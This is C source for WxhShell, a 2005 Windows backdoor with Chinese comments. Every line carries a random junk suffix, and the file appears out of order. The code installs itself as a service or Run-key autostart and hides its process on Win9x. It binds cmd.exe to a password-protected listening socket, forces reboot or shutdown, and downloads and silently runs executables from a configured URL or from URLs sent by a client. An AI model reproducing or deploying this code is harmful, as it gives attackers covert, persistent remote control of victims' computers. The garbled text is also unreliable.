    if(Boot(SHUTDOWN)) ~@)s)K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /[D_9  
    else { U82mO+}  
    closesocket(wsh); *G7cF  
    ExitThread(0); P -nhG  
    } 0\vG <  
    break; QxN1N^a0  
    } qE|syA9  
  // 获取shell .ANR|G  
  case 's': { hSR+7qN<e  
    CmdShell(wsh); 2P)O 0j\/  
    closesocket(wsh); 4P"bOt5izR  
    ExitThread(0); kN78j  
    break; I{r*Y9  
  } l^OflZC~  
  // 退出 ZHa>8x;Mjl  
  case 'x': { qTN%9!0@9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9(nq 4 HvI  
    CloseIt(wsh); cs ?WE9N  
    break; ,i??}Wm5G  
    } .}v" `>x  
  // 离开 T1*.3_wtP  
  case 'q': { k].swvIi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D7T|K :F)  
    closesocket(wsh); E>f{j:M  
    WSACleanup(); l)dE7$H  
    exit(1); $B_%MfI  
    break; gua7<z6=eh  
        } (ie%zrhS  
  } -*MY7t3  
  } jU7[z$GX  
""XAUxo  
  // 提示信息 Q$:Q6 /5.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fK+ 5   
} Eu:/U*j  
  } C}pm>(F~  
]K*R[  
  return; gwQMy$  
} )\ceanS  
7=9>yba)^  
// shell模块句柄 d1/9 A-{  
int CmdShell(SOCKET sock) @ci..::5  
{ BWy-R6br  
STARTUPINFO si; FRZ]E)9Z]b  
ZeroMemory(&si,sizeof(si)); {_\cd.AuT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ruvfp_:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R-9o 3TPa  
PROCESS_INFORMATION ProcessInfo; m7g*zu2#  
char cmdline[]="cmd"; GT)7VFrL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @$n $f  
  return 0; !CcDA/0  
} `6J7c;:  
(lVMy\  
// 自身启动模式 Z|$DchC  
int StartFromService(void) } O $]xB  
{ y|KQ`;  
typedef struct h=gtuaR4  
{ g:a[N%[C  
  DWORD ExitStatus; W h9L!5  
  DWORD PebBaseAddress; ;"x+V gS'  
  DWORD AffinityMask; E V)H>kM  
  DWORD BasePriority; l^nvwm`f#:  
  ULONG UniqueProcessId; mV`R'*1UC  
  ULONG InheritedFromUniqueProcessId; v9-4yZU^WR  
}   PROCESS_BASIC_INFORMATION;  IPK1g3Z  
xh$yXP0/  
PROCNTQSIP NtQueryInformationProcess; wCg7JW#  
$%MgIy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2O Ur">_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R|M]mwa^w  
n}IGxum8`  
  HANDLE             hProcess; xZ P SUEG  
  PROCESS_BASIC_INFORMATION pbi; qb=2J5su  
&BrFcXF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =<3HOOC  
  if(NULL == hInst ) return 0; b7dsi|Yo  
1Ub=RyB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9QXsbd6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T?m@`"L,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *>:phs~r{  
8Iw)]}T'  
  if (!NtQueryInformationProcess) return 0; {+hABusq  
.=J- !{z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); } SW p~3P  
  if(!hProcess) return 0; 5~?6]=hl  
$j\>T@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QrK%DN  
3kC|y[.&  
  CloseHandle(hProcess); x4c|/}\)*  
aYT!xdCI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~LpkA`Hn!  
if(hProcess==NULL) return 0; \DS*G7.A+&  
g:)iEw>a  
HMODULE hMod; LX7P?j  
char procName[255]; |~ fI=1;;x  
unsigned long cbNeeded; uK$ Xqo%L  
~S Bb2*ID  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u1M8nb  
9 ;p5z[jI  
  CloseHandle(hProcess); mI,lW|/l,  
M-i3_H)  
if(strstr(procName,"services")) return 1; // 以服务启动 9X 4[Zk  
@ewaj!  
  return 0; // 注册表启动  yP+<kv4  
} <ytzGDx  
Slg *[r#  
// 主模块 n({%|O<|  
int StartWxhshell(LPSTR lpCmdLine) b.RU%Y#>\  
{ /Tm+&Jd  
  SOCKET wsl; 2A~o)7JaZ  
BOOL val=TRUE; \]f+{d- &  
  int port=0; j AOy3c  
  struct sockaddr_in door; zu{K"7Bx  
p4f9v:b[  
  if(wscfg.ws_autoins) Install(); 7Qd$@  m  
xH:L6K/c  
port=atoi(lpCmdLine); j}//e%$a  
~9FL]qo  
if(port<=0) port=wscfg.ws_port; A)"L+Yu5  
EGt 50  
  WSADATA data; 4vWiOcJF!O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PB$beQ  
!;,\HvEZYw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -#9et30  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =YgH-{  
  door.sin_family = AF_INET; 9h\RXVk{tA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jk>vn+q8P^  
  door.sin_port = htons(port); T.;{f{  
ao9#E"BfM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Eej Lso#\  
closesocket(wsl); ]#f%Dku.m  
return 1; Q&r. wV|  
} -fFtHw:kHh  
=h vPq@C%  
  if(listen(wsl,2) == INVALID_SOCKET) { 9n\>Yieu  
closesocket(wsl); 2sIt~ Gn  
return 1; PY7H0\S)  
} \f^xlX3&`  
  Wxhshell(wsl); ca7Y+9< ;  
  WSACleanup(); OgIRI8L  
GD.Ss9_h1  
return 0; }Mt)57rU  
0)d='3S  
} _LwF:19Il  
\;~Nj#  
// 以NT服务方式启动 LEPLoF3,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *4%pXm;  
{ E Ou[X'gLr  
DWORD   status = 0; ) dk|S\  
  DWORD   specificError = 0xfffffff; 9!X3Cv|+L  
uOzoE_i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G8+&fn6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G3^<l0?S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |3e+ K.  
  serviceStatus.dwWin32ExitCode     = 0; l%_K$$C  
  serviceStatus.dwServiceSpecificExitCode = 0; K:'^f? P  
  serviceStatus.dwCheckPoint       = 0; 85G-`T  
  serviceStatus.dwWaitHint       = 0; (+(@P*c1  
?ld&}|W~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YT+b{   
  if (hServiceStatusHandle==0) return; a_P|KRl  
>"!ScYn  
status = GetLastError(); 0}e?hbF%U  
  if (status!=NO_ERROR) /.7RWy`  
{ Pp!4Ak4TT9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I m I$~q'  
    serviceStatus.dwCheckPoint       = 0; q{9 \hEeb  
    serviceStatus.dwWaitHint       = 0; $?W2'Xm!V  
    serviceStatus.dwWin32ExitCode     = status; q}L`8(a  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5xdeuBEY8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \O "`o4  
    return; kHhp;<  
  } Ny7*MZ-  
T>% 5<P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hJxL|5Uo  
  serviceStatus.dwCheckPoint       = 0; Mw RLv,&"  
  serviceStatus.dwWaitHint       = 0; *h0D,O"0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RN-gZ{AW  
} 1i$VX|r  
7\%JJw6h  
// 处理NT服务事件,比如:启动、停止 k^;n$r"i5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wO%lM  
{ +U<YM94?  
switch(fdwControl) B@M9oNWHu  
{ g=nb-A{#  
case SERVICE_CONTROL_STOP: _:Xmq&<W  
  serviceStatus.dwWin32ExitCode = 0; Nf!N;Cy?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iS+"Jsz  
  serviceStatus.dwCheckPoint   = 0; .kFO@:  
  serviceStatus.dwWaitHint     = 0; 7s6+I_n  
  { Ed u(dZbKg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); { DP9^hg  
  } WlQCPC  
  return; @;OsHudd  
case SERVICE_CONTROL_PAUSE: o]&q'>Rf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z qn$>mG-  
  break; 7P3pjgh  
case SERVICE_CONTROL_CONTINUE: @U=y}vi8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZcjLv  
  break; oH6zlmqG"  
case SERVICE_CONTROL_INTERROGATE: ZT!8h$SE:  
  break; QG?!XWz  
}; _[&V9 Jt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N,qo/At}R[  
} }_KzF~  
m0;j1-t  
// 标准应用程序主函数 Lp:VU-S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xS_;p9{E  
{ )  M0(vog  
:a/rwZ[r  
// 获取操作系统版本 13F]7l-#  
OsIsNt=GetOsVer(); @Nsn0-B?ne  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (n7xYGfYS  
8%B_nVc  
  // 从命令行安装 9R8q+2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0,RYO :`  
5@>hjXi"Y  
  // 下载执行文件 ?[ )}N _o#  
if(wscfg.ws_downexe) { 8d5#vm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \u`P(fI!K%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 69r%b7#  
} =5Db^  
~_JfI7={Jn  
if(!OsIsNt) { PI%l  
// 如果时win9x,隐藏进程并且设置为注册表启动 9k71h`5  
HideProc(); `{{6vb^g  
StartWxhshell(lpCmdLine); UZs '[pm)  
} Jkj7ty.J  
else kl:/PM^  
  if(StartFromService()) Ywhhs }f  
  // 以服务方式启动 dj (&"P  
  StartServiceCtrlDispatcher(DispatchTable); -(TC'  
else .TA)|df ^  
  // 普通方式启动 El9T>!Z  
  StartWxhshell(lpCmdLine); 5r 4~vK  
7I w^  
return 0; #sCR}  
} ?P[:,0_  
q-Z<.GTq  
m-uXQS^@G  
Vc9Bg2f5  
=========================================== ":+d7xR?o  
MV$E_@pg  
,H6P%  
j%` C  
@uyQH c,V  
&q|vvF<G  
" (v?@evQ  
E va&/o?P|  
#include <stdio.h> wry`2_c  
#include <string.h> ."dT6uE  
#include <windows.h> OAq-(_H  
#include <winsock2.h> l=XZBe*[g'  
#include <winsvc.h> ?@@$)2_*u  
#include <urlmon.h> }Y!V3s1bm  
iSf%N>y'K  
#pragma comment (lib, "Ws2_32.lib") \m)s"Sh.  
#pragma comment (lib, "urlmon.lib") C0w_pu  
Ux',ma1JK  
#define MAX_USER   100 // 最大客户端连接数 ( ww4(  
#define BUF_SOCK   200 // sock buffer KB~[nZs7  
#define KEY_BUFF   255 // 输入 buffer 'vVt^h2  
}\<=B%{  
#define REBOOT     0   // 重启 *3Lo[GE>  
#define SHUTDOWN   1   // 关机 ;q-c[TZC  
'{cND  
#define DEF_PORT   5000 // 监听端口 $,Xn@4  
ASi2;Q_{_  
#define REG_LEN     16   // 注册表键长度 I52nQCXi  
#define SVC_LEN     80   // NT服务名长度 0);5cbV7i  
-<x%  
// 从dll定义API fsOlg9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PtuRXx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BDfMFH[1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X_X7fRC0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gHp4q!SJ7  
yx?oxDJg  
// wxhshell配置信息 :K~@JlJd  
struct WSCFG { R-pON4D"*  
  int ws_port;         // 监听端口 1d49&-N  
  char ws_passstr[REG_LEN]; // 口令 <FkaH8,7  
  int ws_autoins;       // 安装标记, 1=yes 0=no -ABj>y[  
  char ws_regname[REG_LEN]; // 注册表键名 U*K4qJ6U  
  char ws_svcname[REG_LEN]; // 服务名 )( 3)^/Xz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t9<BQg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }!fIY7gv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a+z>pV|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p\_3g!G'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2|ee`"`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^~l@ _r  
 Yf[Cmn  
}; $G0e1)D  
%9zpPr WF  
// default Wxhshell configuration DmgDhNXKq  
struct WSCFG wscfg={DEF_PORT, lv] U)p  
    "xuhuanlingzhe", .=}\yYGe   
    1, {@Lun6\  
    "Wxhshell", +~F>:v?Rh  
    "Wxhshell", Q3+%8zZI  
            "WxhShell Service", ;FwUUKj  
    "Wrsky Windows CmdShell Service", pR0 !bgC  
    "Please Input Your Password: ", _^{RtP#=  
  1, tC1'IE-h  
  "http://www.wrsky.com/wxhshell.exe", %Jl6e}!  
  "Wxhshell.exe" >N! Xey  
    }; &'e+`\  
aO |@w"p8  
// 消息定义模块 =4x6v<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \``w>Xy8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F ',1R"/}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ![{/V,V]~  
char *msg_ws_ext="\n\rExit."; \l0!si  
char *msg_ws_end="\n\rQuit."; h] )&mFiE"  
char *msg_ws_boot="\n\rReboot..."; &/' O?HWl  
char *msg_ws_poff="\n\rShutdown..."; >9nVR  
char *msg_ws_down="\n\rSave to "; of7'?]w  
&Pv$nMB$I  
char *msg_ws_err="\n\rErr!"; 6&E[hvu  
char *msg_ws_ok="\n\rOK!"; 5![ILa_  
nY;Sk#9  
char ExeFile[MAX_PATH]; 5<GeAW8ns]  
int nUser = 0; O '#FVZ.g  
HANDLE handles[MAX_USER]; ,%/F,O+#  
int OsIsNt; '9vsv\A&  
OFv-bb*YZ  
SERVICE_STATUS       serviceStatus; ;X;x.pi   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z1W%fT  
VZamR}x  
// 函数声明 dXn$XGF%R  
int Install(void); -k>k<bDAI  
int Uninstall(void); r.LOj6c  
int DownloadFile(char *sURL, SOCKET wsh); CPsl/.$tC  
int Boot(int flag); {1UU `d  
void HideProc(void); [xfg6  
int GetOsVer(void); p `oB._ R  
int Wxhshell(SOCKET wsl); ,lCFe0>k!=  
void TalkWithClient(void *cs); +c]D2@ctG  
int CmdShell(SOCKET sock); S~z$ =IiB  
int StartFromService(void); H,;ZFg/v8  
int StartWxhshell(LPSTR lpCmdLine); n~>b}DY  
-H\j-k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9nO&d(r g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (u8OTq@  
Wvd-be  
// 数据结构和表定义 nF3Sfw,  
SERVICE_TABLE_ENTRY DispatchTable[] = hn6'$P  
{ ~tNk\Kkv  
{wscfg.ws_svcname, NTServiceMain}, ~P!=fU)  
{NULL, NULL} 9-A@2&J1  
}; /HqD4GDoug  
.d#Hh&jj  
// 自我安装 92,@tNQQ}  
int Install(void) (ux9"r^g;x  
{ ga1b%5]v.  
  char svExeFile[MAX_PATH]; ZS3T1 <z  
  HKEY key; o+^e+ptc  
  strcpy(svExeFile,ExeFile); $WE _aNfja  
%0815 5M  
// 如果是win9x系统,修改注册表设为自启动 <T'fJcR  
if(!OsIsNt) { SzG %%CXH_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (7~vOWs:[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `yhc,5M  
  RegCloseKey(key); ][OkydE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +K=RMqM-8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jt @2S  
  RegCloseKey(key); BlqfST#6  
  return 0; 2mx }bj8  
    } &&}c R:U,  
  } =AHV{V~  
} E}36  
else { |~Awm"  
oqK: 5|  
// 如果是NT以上系统,安装为系统服务 ``Um$i~e%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ex}TDmTu  
if (schSCManager!=0) H 0Sm4  
{ 3WfZzb+  
  SC_HANDLE schService = CreateService Y8mv[+Z  
  (  >qI:  
  schSCManager, ZkMHy1  
  wscfg.ws_svcname, Np~qtR  
  wscfg.ws_svcdisp, h^ K>(x  
  SERVICE_ALL_ACCESS, m|Z[8Tup  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i-k(/Y0  
  SERVICE_AUTO_START, 7` XECIh  
  SERVICE_ERROR_NORMAL, </fTn_{2s8  
  svExeFile, <PO-S\N  
  NULL, 1-!|_<EW1  
  NULL, I= z+`o8  
  NULL, wDh&S{N  
  NULL, jd+HIR  
  NULL !wrAD"l*@  
  ); 9I|Q`j?p`  
  if (schService!=0) {#{nU NW  
  { % e70*;  
  CloseServiceHandle(schService); giN(wPgYP  
  CloseServiceHandle(schSCManager); LR17ilaa'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +hWeN&A  
  strcat(svExeFile,wscfg.ws_svcname); xJvalb   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l4^8$@;s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,6U=F#z  
  RegCloseKey(key); hn/SS  
  return 0; Qbj:^{`>(  
    } P6tJo{l8w  
  } I|mxyyf  
  CloseServiceHandle(schSCManager); =gB{(  
} G~4|]^`g  
} L\<J|87p?  
%cMayCaI!@  
return 1; -1!s8G  
} AWmJm)   
qSVg.<+  
// 自我卸载 -g vS 3`lX  
int Uninstall(void) NQvT4.*  
{ 495(V(+5  
  HKEY key; h"N#/zQ  
fli7Ow?M~  
if(!OsIsNt) { l}Vg;"1'J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gE!`9#..  
  RegDeleteValue(key,wscfg.ws_regname); t`4o&vsj=  
  RegCloseKey(key); jRdW=/q+(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U09@pne8  
  RegDeleteValue(key,wscfg.ws_regname); RKz _GEH)  
  RegCloseKey(key); y|D-W>0cX3  
  return 0; C_hIPMU=  
  } 3j$,x(ua9  
} VzFzVeJ  
} dU"C=c(w\  
else { _k W:FB  
z;i4F.p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x\(yjNZH  
if (schSCManager!=0) TGPHjSZ1  
{ 7o M]qLF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EY!P"u;  
  if (schService!=0) $%J $  
  { Vg"Ze[dA  
  if(DeleteService(schService)!=0) { 5s2/YG=  
  CloseServiceHandle(schService); >5]w\^QN9_  
  CloseServiceHandle(schSCManager); " []J[!}x  
  return 0; L2y{\<JC"  
  } |.U- yyz  
  CloseServiceHandle(schService); ,%]s:vk[u  
  } < 'qtqUL\  
  CloseServiceHandle(schSCManager); kI$p~  
} M7IQJFra  
} DWJkN4}o  
/K#J63 ,  
return 1; :!gzx n  
} C}mWX7<Z.  
9!6yo  
// 从指定url下载文件 `r8bBzr@%  
int DownloadFile(char *sURL, SOCKET wsh) "LH*T  
{ Fqp~1>wi  
  HRESULT hr; \A3yM{G~+  
char seps[]= "/"; 8 uhB&qxB  
char *token; WN?meZ/N/  
char *file; _b 8XF&O  
char myURL[MAX_PATH]; Hz<)a(r!J  
char myFILE[MAX_PATH]; _N`pwxpsb  
=E%<"FB  
strcpy(myURL,sURL); =R\-mov$  
  token=strtok(myURL,seps); ku=XPmZ.\  
  while(token!=NULL) qxW 2q8QHo  
  { bYH! P/  
    file=token; /-)|dP  
  token=strtok(NULL,seps); -`ykVH gg  
  } U^X8{,8O  
V.274e  
GetCurrentDirectory(MAX_PATH,myFILE); Pi|oO-M  
strcat(myFILE, "\\");  =!Y{Mz  
strcat(myFILE, file); /%GMbO_  
  send(wsh,myFILE,strlen(myFILE),0); TDQh^Wo  
send(wsh,"...",3,0); KbV%8nx!!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zoBjrAyD  
  if(hr==S_OK) y7s.6i}7  
return 0; IyA8+N y  
else IN9o$CZ:  
return 1; *Cgd?*\7  
*:A )j?(  
} `Lu\zR%<  
}UWRH.;v  
// 系统电源模块 eL!G, W  
int Boot(int flag) /C}fE]n{X  
{ :O}<Q  
  HANDLE hToken; XUT\nN-N  
  TOKEN_PRIVILEGES tkp; L:F:ZOM6`  
jNNl5.  
  if(OsIsNt) { 9qQFIw~S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @V-CG!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &_E*]Sj\  
    tkp.PrivilegeCount = 1; #0WO~wL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cBA2;5E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $T0|zPK5  
if(flag==REBOOT) { $rC`)"t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "]`QQT-{0  
  return 0; DD hc^(  
} h@D4~(r  
else { 9?W38EF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .tb~f@xL  
  return 0; ARu^hz=  
} 5+O#5" v_  
  } 4[&6yHJ^  
  else { wB( igPi  
if(flag==REBOOT) { l9.wMs*`X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ),6Z1 K1  
  return 0; c$'UfW  
} g%<7Px[W  
else { {:enoV"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6A/|XwfE/v  
  return 0; K~WwV8c9;  
} Z@8amT;Y  
} /qL&)24  
qQ6NxhQo  
return 1; 9aC>gye!  
} |T"{q  
\ca4X{x  
// win9x进程隐藏模块 E%-&!%_>D@  
void HideProc(void) i9)y|  
{ <s#}`R.#2  
;@ d<*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZdH WSfO)O  
  if ( hKernel != NULL ) MU&5&)m  
  { "v3u$-xN1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aV(*BE/@F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lv ^=g  
    FreeLibrary(hKernel); I/)dXk~  
  } u-k?ef  
{+t'XkA  
return; uYMW5k_,>  
} {hRAR8  
Qg _?..%  
// 获取操作系统版本 1^Zx-p3J  
int GetOsVer(void) <$njU=YE&  
{ ^?xXP=/  
  OSVERSIONINFO winfo; ;|/7o@$ n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }RUC#aW1  
  GetVersionEx(&winfo); 6]gs{zG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `u-VGd\  
  return 1; J= |[G'  
  else  "rjJ"u 1  
  return 0; -RH ?FJ  
} }}(~'  
\^-3)*r  
// 客户端句柄模块 ?\#4`9  
int Wxhshell(SOCKET wsl) bt&vik _  
{ Hab9~v ]  
  SOCKET wsh; O.K8$  
  struct sockaddr_in client; [bT@Y:X@`  
  DWORD myID; <qRw! 'S^  
`g :<$3}  
  while(nUser<MAX_USER) u%[*;@;9+  
{ jv|IV  
  int nSize=sizeof(client); !Xj m h$F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rjR  
  if(wsh==INVALID_SOCKET) return 1; {Ue6DK %  
"msg./iC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >LU*F|F]B  
if(handles[nUser]==0) [bOy, ^@4  
  closesocket(wsh); >PGm}s_  
else |_=jXf\TL  
  nUser++; w6 "LHy[  
  } W'0wTZG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oC[wYUDg  
Yu1xJgl  
  return 0; :6M0`V;L  
} Y]gt86  
*,n7&  
// 关闭 socket }5]s+m  
void CloseIt(SOCKET wsh) X7 Za Q .  
{ <WbD4Q<3?  
closesocket(wsh); Vi?Z`G]w!  
nUser--; x.r`(  
ExitThread(0); 7R2)Klt  
} F9+d7 Y$  
 vo(?[[  
// 客户端请求句柄 X)&Z{ V>  
void TalkWithClient(void *cs) wRiP5U,  
{ iN {TTy  
h.Dk>H_G  
  SOCKET wsh=(SOCKET)cs; Dps{[3Y+  
  char pwd[SVC_LEN]; `Ys })Pl  
  char cmd[KEY_BUFF]; ~fUSmc  
char chr[1]; R$3JbR.  
int i,j; *nC,= 2  
h?1pGz)[C  
  while (nUser < MAX_USER) { lb6s3b  
oF6MV&q/  
if(wscfg.ws_passstr) { D&^:hs@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Jy%h8n*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \rN_CBM  
  //ZeroMemory(pwd,KEY_BUFF); UQdQtj1'  
      i=0; Cg|uHI*  
  while(i<SVC_LEN) { 88*RlxU  
d!LV@</  
  // 设置超时 ( gFA? aD<  
  fd_set FdRead; &sNID4FR  
  struct timeval TimeOut; aw4+1.xy  
  FD_ZERO(&FdRead); T8(wzs  
  FD_SET(wsh,&FdRead); ^+wzm2i  
  TimeOut.tv_sec=8; t/D Q<B_  
  TimeOut.tv_usec=0; 1*jL2P]D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :hr@>Y~r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k2WO*xa*  
~R8yj(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @} Z/{Z[@  
  pwd=chr[0]; % b&BLXW  
  if(chr[0]==0xd || chr[0]==0xa) { /uc/x+(_  
  pwd=0; #<e7 Y0  
  break; Rj&7|z  
  } Gehl/i-  
  i++; U+RPn?Q  
    } &e)p6Egl  
mT>p:G  
  // 如果是非法用户,关闭 socket PmY:sJ{M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E 9:hK  
} bOdv]nQ1  
%Uk/P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); stG&(M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &sgwY  
*u>\&`h=  
while(1) { 3.H-G~  
`;qZ$HH  
  ZeroMemory(cmd,KEY_BUFF); :&-}S>pC  
:Ir:OD# o  
      // 自动支持客户端 telnet标准   .:raeDrd  
  j=0; IjRmpVcwN  
  while(j<KEY_BUFF) { M^f1D&A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S3w?Zk3hO  
  cmd[j]=chr[0]; K{ P#[X*5  
  if(chr[0]==0xa || chr[0]==0xd) { ;X6y.1N~  
  cmd[j]=0; [Z+,)-ke  
  break; #dt2'V- ,  
  } S}f<@-16P  
  j++; )89jP088V  
    } 11T\2&Q  
A(p  
  // 下载文件 .Topg.7W  
  if(strstr(cmd,"http://")) { 2ML6Lkk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !dH&IEP~  
  if(DownloadFile(cmd,wsh)) ~ 7Nyi dV;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sN}@b8o@  
  else t>sX.=\$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lp WEu^j  
  } nQHd\/B  
  else { N6[^62  
.rm7Sd4K  
